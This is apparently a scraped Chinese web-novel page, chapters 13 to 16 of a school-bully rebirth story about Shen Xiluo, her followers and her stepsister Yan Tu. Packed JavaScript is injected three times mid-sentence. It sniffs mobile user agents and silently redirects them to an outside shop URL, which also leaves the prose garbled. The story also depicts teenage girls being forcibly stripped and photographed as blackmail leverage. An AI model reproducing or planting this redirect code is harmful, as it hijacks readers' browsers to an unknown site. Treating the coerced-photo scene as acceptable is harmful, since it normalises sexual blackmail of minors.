目送走黑色车离开后,沈析洛回过身去,总算有时间来处置这五个如同背景板存在的家伙了! 严菟身上的伤和所受的屈辱,沈析洛必将帮她讨回来,这是沈析洛欠她的。 13. 第13章 西边的太阳正在缓缓落幕。 胡同里的沈析洛背着夕光朝她们几人走去。 她开口第一句便说:“待会大家还要回家吃饭,所以别浪费时间,谁先招?” 五人面面相觑,没人站出来说话。 沈析洛眯起眼睛:“好,都假装不知情是吧,那我一个一个来盘问!” 其中黄发女生好奇地主动道:“老大,盘问什么呀?” “嗯,就从黄毛你先开始。”沈析洛道,“我问你,当初是谁让你守在女厕门口的?” 黄发女生想也不想地说:“是老大你呀!” “……很好。”沈析洛换了个问法:“是谁通知你说,我让你去守女厕门口的?” 黄发女生当即道:“是红毛。” 沈析洛把目光转向红发女生,“红毛你说,当时你和黄毛一起守在女厕,是谁让你做的?” 被点名的红发女生犹豫了一下,顺势说:“是、是绿毛。” 沈析洛:“绿毛滚出来。” 绿发女生走前一步,直指红发女生,气愤道:“红毛你胡说!” “我没胡说!”红发女生暗想,老大刚才问的是“谁让你做的”,而不是问“你为什么这么做”,显然是还没怀疑到她,那她只要把责任全推到绿毛身上,自己就没事!毕竟一个人暴露,总比几个人一起暴露的好。于是她隐藏一些细节,一五一十地说出实情: “当时老大叫我们把严菟堵在女厕,但没说要怎么收拾她,是绿毛自己主张说要替老大出气,还拿出自己新买的DV,让我们合伙一起去拍严菟的果照,等严菟的把柄落到老大手里,老大就可以对她为所欲为了。绿毛说这是要给大佬的惊喜,所以让我们先偷偷动手……” 沈析洛两声冷笑:“喝喝,原来如此,我可真特么惊喜了。” 红发女生还坚定道:“老大,不信你可以问问其他人。” 旁边的灰发女生出声作证:“是了,绿毛当时的确是这样说的。” 黄发女生点头:“没错。” 看其他人都发言了,蓝发女生也虚声附和:“没错,是绿毛说的。” 见大家把矛头一一指向自己,绿发女生登时气急败坏,干脆鱼死网破道:“胡说,红毛含血喷人,凭什么都是我的主意!老大你不能听她的,不然你想想看这一次,是谁告诉老大放学去网吧的,是红毛啊,她调虎离山,骗我们来这里埋伏严菟,还跟我们说是老大你吩咐的……” 说着,绿发女生又对蓝发女生使了个眼神,蓝发女生马上道:“我也觉得是红毛有问题……” 红发女生立即抢话道:“好笑,我可什么都还没说,你们俩怎么就一口咬定我骗老大去网吧、又骗你们去埋伏严菟?你们知道得这么详细,显然一个是主谋,一个是帮凶!” “你!!” 绿、蓝、红三人互瞪眼,一副快要打起来的架势。 围观的黄、灰二人则互相吐槽: “咦,所以让我们在这里围堵严菟,不是老大命令的吗?” “什么嘛,不是老大命令的根本邀不到功,感觉自己白干活了……” “打呀。”边上的沈析洛凉凉道,然后打了个响指,“上座。” 黄毛、灰毛立刻会意地行动起来,一人把刚才打翻的垃圾桶拖过来倒放,底部朝上;另一人抽出一包面巾纸,把纸巾厚厚地垫在垃圾桶面上,接着两人左右站开,对沈析洛作了个请的手势。 沈析洛屁股往那垫着纸巾的垃圾桶一坐,一副看戏的表情对着那三人说:“你们倒是打呀,谁打赢了谁就有理。” 三人僵硬地来回相视,真打起来是不可能的。绿毛眼珠子一转,语气耿直而无辜:“老大,之前明明是你让我们处置严菟的,我们只是按照你的吩咐……” “绿毛。”沈析洛打断她,忽然道:“跟你玩个游戏吧,这个游戏叫‘反弹’,玩法是,你在别人身上做过的事情,现在就发生在你身上。” 绿毛讪笑:“呵、呵,老大,现在都什么时候了还玩游戏,这个游戏听起来也不怎么好玩……” 沈析洛站起身来,黄毛非常贴心地把粘在她屁股后面的纸巾拿下来,铺回原位。 “谢谢。”沈析洛摸出裙兜里的手机,打开照相功能,一边朝绿毛走去,一边道:“拿照片做威胁这个点子是你想的,那现在就让你亲自体验一下。” 旁边几人有些懵圈,刚刚还在对质盘问,怎么突然就玩起游戏了。 随着对方的逼近,绿毛直直后退,“不、不是我,老大你不能这样!” 沈析洛伸手掐住她的肩:“不是你?那不然是谁,你倒是说说,你在替谁办事?” 绿毛慌张地移开视线:“老大,我不知道你在说什么……” “那就继续玩游戏。”沈析洛说着要去扯她衣服。 “啊——”绿毛一声尖叫,挣扎地推开对方,然后高声怒喊:“蓝毛、红毛你们还愣着干嘛,快过来帮我啊!!” 蓝毛、红毛这才回过神来,当即在旁边的垃圾堆里翻出木棍和铁管,两步跑到绿毛左右,敌意地瞪着对面的沈析洛。 这临阵倒戈的画面让一旁的黄毛和灰毛齐齐倒抽了一口气: “嘶,内战?” “嘶,窝里反?” 沈析洛收起手机,微微一笑:“终于露出狐狸尾巴了。” “别装了,沈析洛!”败露真面目的绿毛连“老大”也不叫了,她接过同伴的铁管,对准沈析洛,神情桀骜道:“你这么步步紧逼,不就是早猜出我们谁在从中作梗了,好啊如你所愿,大不了今天大家一起撕破脸皮……” 沈析洛一脸诚实:“不知道,之前以为只有你一个,现在才知道原来有三个。” 蓝毛、红毛登时面色难看。 绿毛一噎,又马上自得道:“怎么,你真以为我们是心甘情愿想当你这个蠢货的跟屁虫吗?呵,太可笑了,也不瞧瞧你是个什么烂泥,要不是看在许女士的份上……” 沈析洛一脸无趣地打断她:“哦,还许女士,叫得真好听,以后毕业了是不是准备去她身边当走狗呀。”许女士即许莲澜,沈母。 “沈析洛你说的什么话,放尊重点,我说的许女士可是你妈妈!!” “行吧。”沈析洛不耐烦道,“废话少说,你们是想一个一个来单挑,还是一起上?” 绿毛没被对方调唆,而是转向另外两个从头到尾不知情的人:“黄毛,灰毛,你们想想以前沈析洛的所作所为,她除了脾气糟糕和目中无人外什么也不会,而且一旦没有了沈家的撑腰,她什么也不是,所以你们真的要跟着这么无能的老大吗? 好好考虑清楚,不如过来我们这一边吧,别忘了,我们之所以会跟着沈析洛,纯粹是因为咱们的父母都在沈氏企业下做事,如果你们站到我这边,我就替你们和许女士说情,以后再也不用看沈析洛的脸色了……” 一旁的黄毛好奇发问:“许女士是老大的妈妈,为什么不站老大,反而要站你们?” 绿毛理直气壮:“因为沈析洛太不中用了,许女士想通过我们来好好磨炼她!” 黄毛和灰毛愣是动也不动,神色犹豫不决。 “你们俩别掺合了,在边上站着看就好。”沈析洛大手一挥,“等会哪边打赢了,你们就站到哪边去。” 听到自己不用做抉择,两人同时松了口气:“是!” 绿毛也不再劝说,转而挑衅地看着沈析洛,“这可是你说的,那现在你就一个人单挑我们三个吧!!”说着的同时,她向左右边的红毛、蓝毛示意动手。 三个人立刻二话不说抡起手头上的家伙直接围着沈析洛用力挥去。 沈析洛眼疾手快,拿下自己的书包做盾挡开她们的攻击。今天的书包装满厚厚且沉重的课本,很抗打,她拉着书包肩带像在甩链锤一样,原地旋转一圈,狠狠地击打围过来的三个人。 三人瞬间被带倒在地。 力大无穷的沈析洛拿书包砸中绿毛,然后空出双手迅速揍了红毛和蓝毛一拳,接着拽住晕乎乎的俩人的衣服后领,往后拖拉,不等俩人反抗,沈析洛拿起旁边刚才用来当王座的垃圾桶,一把罩在她们俩的头上,然后紧紧压住桶顶,只露出下半身的俩人一时挣脱不出来。 沈析洛对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132623|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边上的黄毛、灰毛道:“我打赢这俩个家伙了,你们替我压着她们。” 黄毛和灰毛愣了愣,然后“哦、哦……”地赶紧上前去乖乖压住垃圾桶。 准备转身的沈析洛,背后猝不及防地挨了重重的一棍。不过好在她刚刚低着脑袋,不至于被打到后脑勺,背上这点小伤还不及她上一世在牢里和别人打架时所受的十分之一。 硬生生抗了一棍的沈析洛扭了两下颈背,回过身去,抬腿直往偷袭者绿毛的腰上狠狠猛踹一脚。 只凭一脚,绿毛当场再次倒翻在地上,捂着侧腰吸气痛喊,直接站不起身来。 沈析洛面无表情地再次掏出手机,按开照相功能,对旁边站着的黄毛、灰毛继续道:“我又赢了,你们是不是应该听我的话了?” 两人陡然一个激灵,挺直腰板:“是,老大!!”/“一直听你的,老大!” 沈析洛命令:“把她们三个的衣服扒下来。” 之前说过,沈析洛是个有原则的不良少女,也是个恶女,她不屑欺负老弱病残,对手无缚鸡之力、柔弱的人也格外怜香惜玉,这里“柔弱的人”不分男女。 所以同样的,她不会因为眼前这三个人是女生,而对她们手下留情。她刚刚就说明了游戏规则,她要把她们在别人身上做过的事情,反弹到她们身上。 如果换成是她打输了,她也只能接受她们的“惩罚”。毕竟自己做过什么事情,就该去承担什么样的后果,与善恶无关,谁赢了谁说话。 将三人一番料理后。 沈析洛再次坐回垫了面巾纸的垃圾桶上,悠悠地抛玩着手里的手机,对着面前坐在地上、衣衫不整的三人道:“感谢绿毛提供的好主意,现在你们的‘把柄’在我手上了,你们说我该怎么办好?” 三人不复刚才“人多势众”的嚣张气焰,此时涕泪纵横地哀声求饶,求老大放过她们一马,并发誓以后只听从老大的话,绝对不再作乱或有二心! 沈析洛将心比心道:“你们觉得我还会信你们吗?” 三人面面相觑,无话可说。是呀,连她们自己也不相信彼此的话,经过这般欺`凌,她们内心深处大概只想着以后如何加倍报复回来!! 沈析洛站起身,黄毛再次贴心地伸手拿下粘在她屁股上的纸巾。 沈析洛和黄毛道了声谢后,蹲到那三人跟前,道:“我不信你们,但也暂时不会把你们怎么样……这样吧,大家一起来合作,如何?” 与其把已知的眼线除掉,不如留在身边假装不知道,免得后续沈母又找其他眼线来取而代之,防不胜防。沈析洛之所以会这样考虑,是因为她知道后面还会有人来故意接近她,然后暗中各种找茬…… *** 沈析洛回到家时,已经快到八点多了,比昨天还要晚。 在家当悠闲富太太的沈母和往常一样施施走来,关心沈析洛吃饭了没。当看到大女儿一身灰脏时,登时露出怜惜的表情道:“析洛,你这是怎么了,是和谁打架了吗?有没有受伤呀?” “是呀,我打输了,背上被人打了一棍,乌青了。”沈析洛背着书包往客厅走。 沈母和她保持了半臂距离,“心疼死我了,快,先去房间洗个澡,我去叫保姆给你拿药,对了,你一定饿坏了吧,我马上找徐嫂给你做饭。”说完,转身一副着急地去找徐嫂。 沈析洛无所谓地点头。 上一世沈母向来不愿与她亲近,哪怕是自己受伤了生病了,都是保姆在照顾她,沈母从来只是在旁边一脸焦急地看着和说好听的话……她那时很体谅妈妈的做法,以为是自己长大了,不该像小孩子一样和妈妈撒娇。 沈析洛现在想来,觉得自己上一世一定是脑子里装水了,还特么是蒸馏过的纯净水! 没一会儿,一个中年保姆拿着药酒走过来,道:“大小姐,回房吧,我替你揉揉。” “嗯。”沈析洛走上楼梯,忽然停下脚步回头问:“严菟刚才回来了吧,她有找你们拿药箱吗?” 保姆说道:“二小姐是回来了,不过她也受伤了吗?” 沈析洛:“……”这孩子估计是要犟了? 14. 第14章 沈析洛回到房间,洗完澡后换上了一身黑白条纹的长袖短裤,然后撩起上衣让保姆用药酒给自己揉背。 其实她也不是非得擦药不可,只不过是想让保姆看清自己“伤”得有多重罢了。 毕竟她和严菟前后灰头土脸地走回家,还一样受了伤,这任谁看来都以为两人肯定在外面干过架,更何况是沈母和沈析莉,这母女俩说不定已经从别处得到消息,现在正在某个角落偷乐呢。 沈析洛就是要让这对母女误以为,她和严菟是因为她们的从中作梗而闹到了水火不相容的地步。这样既可以减少她们日常对严菟的刁难,也可以避免一不小心被她们发现到她对严菟的态度转变。 她现在让她们先乐着,以后就让她们乐极生悲。 沈析洛想到此处,又伤脑筋地挠了一下额头——不过严菟那边就有点难搞了,今天欺凌对方的这件事已是属实,虽然不是她动的手,但却是以她的名义实实在在地把对方虐了一遍,估计人家小白兔现在身心俱创,遍体鳞伤,恨不得和她同归于尽了吧? 这种心情太好理解了,沈析洛换位思考一下,谁要敢这样对自己,那铁定得十倍奉还回去! 所以她和严菟不是假装不合,是真的要走到水火不相容的地步了…… 她烦躁地挠挠头。不管这个了,走一步算一步,首先第一步,不能让严菟身上留下任何伤疤!为什么呢—— 沈析洛对着镜子,指着脸上不存在的疤痕,露出阴测测的眼神,压着嗓音低沉道:“我永远也忘不了,那个在我脸上留下伤疤的人……” 对,没错,就是这样!光想象和模仿严菟大佬未来照镜子的样子,她就觉得压力山大。 沈析洛倏地站起身来:不行,她要趁现在严菟还是只不谙世事的小白兔,赶紧施威施压去! 说干就干,她出去找保姆要来一个家庭备用小药箱。 然后捧着小药箱光明正大地跑去敲严菟房间的门。 “叩、叩、叩——” 房里传出细柔的回应声:“我不吃,你走吧。” 沈析洛一顿。哟,这小妮子居然还没吃饭? 然后继续沉默地敲门。 房里的人大概是被她敲烦了,终于从里面打开门来,道:“我说了,我不……是你!” 见到来人,对方刚要退回去甩上门,被沈析洛一脚卡住了门底。 穿着长袖长裤睡衣的严菟一脸气恼:“你,你脚拿开!” “我不。”沈析洛径自走了进去。 严菟:“你不准进来。” 沈析洛:“我已经进来了。” “你、你……”严菟拿她没办法,低头准备自己出去。 沈析洛用脚后踢关上门,然后站在门前,挡住对方:“这是你房间,你要去哪呀?” 严菟后退一步:“不要你管。” “你怎么这么喜欢说这句话呀。”沈析洛单臂把对方困在侧墙角,“你忘了你下午已经说过一次了么,你是打算让我再捆你一次,还是想让我说出‘我偏要管’这句话?” “……”严菟目光带着晶莹的怒意,一时被堵得回不上话,干脆撇开视线,不说话。 沈析洛环视了一眼对方的房间,然后拽着对方的胳膊走去梳妆台,把手里的小药箱放到桌上:“这是给你的,让我看看你脸上的伤……”说着便伸手要去摸对方的脸。 严菟蓦地扭开头,上前半步把桌上的小药箱一手扫翻到地上,然后对沈析洛抬了抬下巴,一副抗拒到底的神情:“你走!” “哟,真稀奇,原来小兔子还会发飙呀?”沈析洛捡起地上的药箱,然后打开来,从里面找出碘伏和棉签,斯条慢理地拿棉签去蘸瓶子里的碘伏…… 严菟在边上戒备地看着对方的动作,准备抬脚向后退。 却不料回身来的沈析洛,二话不说,突然毫无预兆地纵身猛扑过来,把她压倒在旁边的床上。 “你要干嘛?!”严菟挥手蹬脚地想推开她。 沈析洛牢牢地压制住对方的手脚,她一手钳住对方纤瘦的双腕,一手还紧捏着棉签,说话时温热的呼吸同时喷在对方的脸上:“你不搽药,那只好让我来替你搽药了。” “你、你放开我,救命啊!”严菟挣扎着大喊。 沈析洛却忍不住笑了出声:“呵呵……”这个时候叫救命,家里那些人个个都喜闻乐见,恨不得跑远一点,假装自己没听到。 严菟恼羞得耳尖脸颊一阵绯红:“你笑什么?!” “我笑你呗,又不是要非礼你,干嘛那么激动?”沈析洛紧紧贴着她,低眸去瞧她脸上的伤痕。 被对方这么一说,严菟也意识自己好像有点反应过激,她微怒道:“那、那你干嘛压着我?” “因为你的抗拒,让我更想强迫你。”沈析洛理直气壮地调笑道,“来呀,我帮你涂药药……” “不要……”严菟侧开头,僵持了几秒,最后只好妥协道:“……我自己来。” 沈析洛果断地松开她双手,站起身来,同时把她拉坐起来,“早点有这个觉悟,刚才就不用那么折腾了,还是你比较喜欢我用暴力呀?” 严菟整理自己身上被压皱半翻起来的睡衣,别开视线,轻声骂她:“你无耻。” 沈析洛赶紧用手捂着自己忍不住露出来的委琐笑容:哎哟妈呀,这娇滴滴的骂人语气,让人好想再压倒她一次啊!!……打住打住。 沈析洛转瞬恢复一脸不耐烦,催促她:“别磨蹭,过去。” 严菟这才坐到梳妆台前,心不甘情不愿地拿起对方刚刚放置在桌上的棉签,对着镜子仔细地涂自己下巴处那道浅细的伤口。 沈析洛则在旁边看着,同时再次认真地打量起对方的房间。 房间摆设意外地简约且中性,没有任何小女生该有的摆件或玩物,空旷干净得好像可以随时拎包走人似的…… 沈析洛又将视线放在严菟身上,这回是以异常柔和的目光注视着对方的背影。 她忍不住在心里感慨万千:要不是两世被沈母的故意误导,她可能会把这样的妹妹疼到骨子里去吧,哪怕不是亲生。 不是对方未来翻天覆的强大变化,而是像现在这样,对方一直温婉乖巧,逆来顺受,不管遭受多少委屈也默默隐忍在心中,柔弱得让人想把她护在怀里好好疼惜。 她多想把自己最好最温柔的一面呈现给对方,就连说话也不敢太大声,就怕把这人畜无害的小兔子给吓着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132624|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一点都不后悔自己之前说出那句“只有我才可以欺负严菟”的话,就像现在的心情一样,既想保护她,又想坏心眼地欺负她…… 背对着她的严菟忽然主动开口道:“你不用这样……我不会去跟爸爸告状的。” “啊?”沈析洛陷入短暂地茫然。 严菟提醒她:“今天发生的事。” “切。”沈析洛当即摆出不屑的表情:“你爱说不说,我还怕你去告状?” 严菟眼眸微睨:“不然,你为什么那么在乎我脸上的伤?” 沈析洛脑筋转得极快:“……我说过了,你的脸,就是沈家的脸面。” “……原来是这样。”过了一小会,严菟站起身来,把药箱收起递给对方,道:“我好了。” “我瞧瞧。”沈析洛走前两步。 严菟这次没有拒绝,她微抬起脸,任对方看个仔细。 “嗯,幸好伤口很浅。”沈析洛没接过她手中的药箱,而是伸出去拉对方的衣服,问:“还有没有哪里受伤了?我检查检查……” 严菟一把压住自己的衣服,恼羞:“你够了吧?!” “不够不够,我是认真的。”沈析洛还想去拉她。 严菟迅速后快了好几步,“其他对方又看不见,碍不着丢沈家的脸。” 沈析洛一本正经地抬头看她,“不是,这个和沈家的脸面无关,是你越抗拒我,就让我越想强迫你做不愿意做的事情,来吧,让我再看看有没有哪里受伤……” 严菟索性蹲坐到地上,双臂抱膝,把自己缩成一团,“你不要太过分了!!” 沈析洛登时一僵,她动了动指尖,想顺势去摸摸对方脑袋,抚慰对方:“对、对不……” 话未说完,又及时地收回了手,话锋一转: “嗨呀,真是不经逗,行吧,今晚就先这样,药箱放你这里咯,里面的药和贴膏还算齐全,你哪里有伤贴哪里,过几天要是不小心让我看见你身上还带伤口,我就给你做全身检查,亲手替你上药,你自己看着办吧,哼。” 说完高傲地转身,开门关门走人。 严菟刚要抬起头来,房间的门突然又被打开了,惊得她赶紧埋回去。 沈析洛在门边探出半颗脑袋:“对了,楼下徐嫂做了一桌饭,我吃不完,我限你半小时内下楼把它们全吃了,半小时后我要是发现你没有吃,我就端上来亲手喂你,一口一口喂的那种,恶心死你,你自己看着办吧,哼!” “砰。”门再次被甩上。 门外的沈析洛终于狠狠地松了口气,垮下双肩,走回房间——和严菟大佬待在一个空间,真特么刺激…… 门里的严菟再次抬头看向门边,确定对方不会再出现,这才走去锁上房门,接着神情淡漠地躺倒在床上,侧眸去看不远处梳妆台上的镜子—— 刚才对方就站在她身后,她搽药时透过镜子,瞥到了对方那双与平时完全不一样的眼神。 那目光令人有些难忘呢。 又莫名想到对方将她压制在床上时,萦绕在她脸上的气息…… 严菟陡然坐立起身,耳尖竟开始隐隐发烫,她舔了一下发干的嘴唇,眼底划过一丝深色。 沈析洛,你好像惹到我了…… 15. 第15章 距离沈析洛下定决心要努力学习已过去三天了。 这三天里,她像其他普通学生一般,循规蹈矩,按部就班,坐在教室里乖乖听老师讲课、做题、写作业。E班的同学和老师们从一开始的惊讶好奇到最后也见怪不怪了。 然而沈析洛有学习的决心,却找不出一套合适自己学习的方式,不论什么科目,每堂课感觉像是在上法文一样,完全听不懂! 这主要怪她从小学初中就没打好基础知识,导致听起高中课程来云里雾里的,很是费劲。 她寻思着该找找补习老师来恶补一下功课,然而考虑几秒便马上否决了。请补习老师需要花钱,花了钱肯定会被沈家知道,到时候沈母还不跳出来百般“劝”阻她…… 思及此处,沈析洛甚至自暴自弃地想还不如辍学去打工……不过想想作罢,经历过上一世的磨难,她已变成一个(自以为)远见卓识的人! 悟性如此之高的她,这三天坐在课堂上,犹如老僧入定,学习没有一点长进,倒是看着窗外的树叶鸟儿,心态开始变佛了…… 直到今天,沈析洛终于一掌拍在一道题也做不出来的模拟卷上,霍然站起身来—— “佛个蛋呀,我才高一呀!!我总有一天要让你们这些该死的题目,臣服在我高超的智商之下!!” 讲台上的数学老师眯眼望过去:“沈析洛,有本事就上来解题,不然就坐下。” “哦。”沈析洛笔直地坐下。 *** 午间,食堂。 沈析洛把三名跟班召集在了一起,她们分别有钱小昂、黄毛、灰毛。 至于前几天被她料理过的红毛、绿毛、蓝毛,三人已经名存实亡,对外依然号称是校霸沈析洛的跟班,对内则不能参与任何跟班活动。 此时四人围在一桌吃饭,沈析洛直截了当道:“现在,我要对你们的学习情况展开充分了解,以此来判断你们有没有资格助我一臂之力。” 似乎感觉到任务的艰巨与严肃,三人放下筷子,一脸庄重地点了点头。 沈析洛:“小昂,你先来,说说你平时考试成绩如何?” 钱小昂想了想:“稳坐我们E班第一名。” E班倒数第一的沈析洛:“……你,第一名??”就凭你这个扎双马尾的小矮子? 钱小昂:“有什么问题吗?老大。” 沈析洛酸了,语气凉凉道:“你以为你第一名就很厉害了吗?” “不,不厉害,我很渣。”钱小昂认真地道:“咱们学校是按成绩分的班级,依次为A、B、C、D、E,以此排序,E班是学渣集中营。E班的第一名去了D班,可能就是倒数最后几名了,所以我只是渣渣中的不太渣……” “等等,且慢。”沈析洛伸出手打断对方,“你在表达什么,你想说我是全班最渣??” “不,老大,你不是全班最渣……”钱小昂用无比敬仰的目光,对她竖起大拇指:“老大,你是全年级最渣,没人渣得过你!” 沈析洛“……”要不是看在对方一副“我以老大为豪”的真诚模样,她早就一手餐盘飞过去了。 暂时不想和钱小昂说话,沈析洛把视线移向旁边的黄毛:“你呢?” 黄毛,一头黄色长发,长相中等,肤色偏黑,本名为黄千晓。 黄千晓摸摸鼻子,犹豫地道:“我呀,也是经常倒数第一。” 沈析洛这下看她顺眼多了,惺惺相惜地安慰:“其实这也没什么,再差也没我差……” 钱小昂在旁边插嘴:“老大,她是A班的。” “……”沈析洛面带微笑。 钱小昂继续补充:“A班倒数第一的水平,相当于B班的前十名。” 沈析洛脸裂了,“黄毛,你如此这般这么有前途,为啥还要跟着我当不良混混?” 黄千晓不好意思地回答:“我穷,跟着老大可以狐假虎威。” “……”沈析洛倒吸一口气。理由太过直白真实,完全无法教训。 沈析洛唰一下把目光射向另一边的灰毛。 灰毛是一头灰色短发,肤色偏白,平时没什么存在感,本名为袁娅南。 袁娅南被看得浑身一抖,立刻道:“我C班,名次大概在十几二十名之间徘徊。” 沈析洛勉为其难的评价,“哦,比起她们倆,你太普通了,一点特色也没有。” 袁娅南耷拉脑袋:“……” 沈析洛忽然好奇地问:“话说A班倒数第一都这么厉害,那第一名岂不是要上天了?” 钱小昂无所不知地积极回答:“是呢,我们‘苑承’虽然是私立中学,但几乎网罗了全省级最优秀的学生,A班是尖子班,里面的学生百分之九十五能考上或保送国内外最顶级的大学学府。上学期A班的第一名是欧阳峤,这学期你妹妹严菟转学过来后,就是她了。” “噗!”沈析洛喷了一口汤,赶紧接过黄千晓递过来的纸巾擦拭,然后才道:“我我我妹妹这么优秀的吗???” 钱小昂:“优秀呀,全校最优秀了,还是下一届学生会会长的选定接班人!” 沈析洛不自觉地挺直腰杆:“……哦,不愧是我妹妹,和我一样优秀。” 旁边三人齐齐赞同:“不愧是老大,不愧是老大的妹妹!”几人完全把之前对“妹妹”的欺凌给选择性遗忘了。 沉默了几秒。 钱小昂忍不住目光闪闪地发问:“老大,说了这些,对你有什么帮助吗?” “有。”沈析洛点头,“对我打击很大。” 钱小昂、黄千晓、袁娅南:“…………”她们是不是说错什么了? “哎,其实我也没那差。”沈析洛自己身为老大,总得挽回一点面子,“我之所以年级倒数第一,是因为我从不看重成绩,懒得动笔,每次都故意上交白卷。” 黄千晓、袁娅南同时发出感叹:“哇啊,老大你好酷!!” 钱·忠心且老实耿直·小昂露出一脸疑惑:“嗯?可是……我怎么记得老大你是有填卷的,而且有填的那几个,全是错的……” 沈析洛死不承认:“你怎么知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132625|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我填卷了,你看过吗?” 钱小昂无辜道:“老大,你的作业一直都是我帮你写的,试卷的答案也是我帮你对的……” “……”沈析洛:“那是我故意填错的。” 钱小昂噘嘴:“可那笔迹改改划划的,看着不太像……” 沈析洛嘴硬:“你,你这是没见识我过认真的样子!” “真的么!”钱小昂双手合十,目光里充满真挚的期待:“下周六有小考,老大就认真一次,让我们大家见识见识吧!” 沈析洛:“……”要不是上一世见过这小矮子在她面前哭哭啼啼的样子,她差点要以为这是反派派来为难她的猴子! 钱小昂、黄千晓、袁娅南一起目光闪亮:“老大,嗯??” “下、下周六是吧……”沈析洛干巴巴地眨眼睛,“行呀,到时候如果我心情不错的话,就认真一下好了。” 三个人:“耶!!!” “好了,吃完赶紧收拾滚!”沈析洛撂下餐盘走人。 *** 放学后。 沈析洛独自走在校道上,后知后觉地自话自说:“不对呀,我明明是想要让她们辅助我学习的,怎么后面说着说着,就变成要认真考试给她们看了??” 啧,真失策! 不过没事,她身为是她们的老大,可以随时食言…… 不对呀,食不食言是一回事,现在重点是她已经拉不下脸去找她们帮忙补习功课了啊! 这糟心的…… 走道花坛边传来几个女生的对话声,沈析洛听到熟悉的名字后便下意识地停驻了脚步:偷听。 花坛旁边的女生:“……是啊,我还听说严菟同学每天放学后会主动留在教室里做半个小时作业,他们班上好几人知道她这个习惯后,也跟着她一起留下来,然后跑去和她请教做题思路……” 另一人:“哈,请教?A班的人还需要跟A班的人请教?” 那女生:“这你就不知道了,一样的大题,老师提供的解题思路和严菟同学给出的思路很不相同,听说那些去请教的人,都觉得严菟同学讲解的过程更简单易懂,那些人还包括别班的同学……” “哇,不愧是尖子班,他们的学习氛围好好哦,说得我也好想去请教她几道难题,因为老师重复讲了好几次我也听不太明白……” “看运气吧,那么多人要去讨教,严菟同学哪个这个时间,而且她自己也要做作业吧。所以那些去请教的人,她不一定都会回应哦……再说了,如果不是什么超级罕见的题型,也不好意思去请教人家吧,人家可是A班第一,咱们怎么能拿些小题去麻烦人家……” “说得也是……” 几个女生的说话声越来越远。 沈析洛站在原地,摸着下巴,忽然“科科科”地奸笑起来—— 真是刚想瞌睡就有人递上枕头来!要找帮自己补习的人,当然是首选最优秀的那个人啦! 然后又纠结地扭起两条眉毛—— 先得想个办法在放学后混进A班才行…… 16. 第16章 又到了下午放学时间。 钱小昂背着书包来到教室后门:“老大,走吧。” 这几天沈析洛没再和其他人约聚厮混,一到放学就准时和钱小昂一起坐车回家。 不过今天,沈析洛站起来,一手按在对方的脑袋上,语重心长道:“小昂,你是个成熟的孩子了,要学会自己回家。” 钱小昂:“啊?” 沈析洛道:“这阵子你自己先回去,我有事,就不跟你一起了。” 钱小昂当即酝酿起泪眼:“嘤……老大,是不是我做错什么事了??” “呃……”沈析洛一时不知道如何搪塞对方是好,但还是故作深沉地安慰道:“你没有错,错的是这个世界。” “哦,那就好!”钱小昂戛然止泪,然后干脆利落地挥手转身,“那我先走啦,老大再见!” 沈析洛望着对方蹦蹦跳跳离去的背影,竟有说不出的惆怅:“……”孩子,你果然长大了,从前敬畏着我的你,现在都学会敷衍我了…… 不过现在不是计较这些的时候。 沈析洛拎起鼓鼓的书包,左顾右盼,确定没有人在注意自己后,悄悄地摸去了女厕。 在隔间里,沈析洛打开书包露出里面的“装备”,经过一阵快速的捣鼓之后,她开门走到洗手台,满意地审视着镜子中的自己—— 标准的黑色蘑菇头假发,能挡住睿智眼神的黑框平光眼镜,以及足够遮掩半张脸的蓝色口罩。 伪装完美! 她把平时经常使用的黑色书包折叠起来,塞进刚买不久的蓝色挎包里,然后掏出课本册子抱在胸前,大摇大摆地……哦不对,含胸驼背地缓步走出女厕。 路经E班时,沈析洛特地拉住一个自己班的女同学,压着嗓子道:“同学,猜猜我是谁。” 被拉住的女同学莫名其妙地看着她:“你是谁?” “你猜呀。” 女同学斜了她一眼,反问:“我们认识吗?” 沈析洛犹豫:“……算认识吧。” 女同学:“是么,那你先说我叫什么名字。” 沈析洛:“呃……”还真说不出来!她可是校霸,怎么可能会记住这些小花小草的名字。 女同学:“说不出来是吧,你都不认识我,我也不认识你,还猜个屁啊。” 沈析洛:“嘿诶,你个路人甲,说话居然比我还拽??” 女同学翻了个白眼:“无聊。”然后径自走开。 “可以呀。”沈析洛目光中带着许欣赏,“果然是E班的学渣们,都这么有个性!”看在对方认不出她的份上,这次就不和对方计较了。 快步小跑着去隔壁的教学楼二楼,到了高一A班,沈析洛站在后门门口一阵窥探。 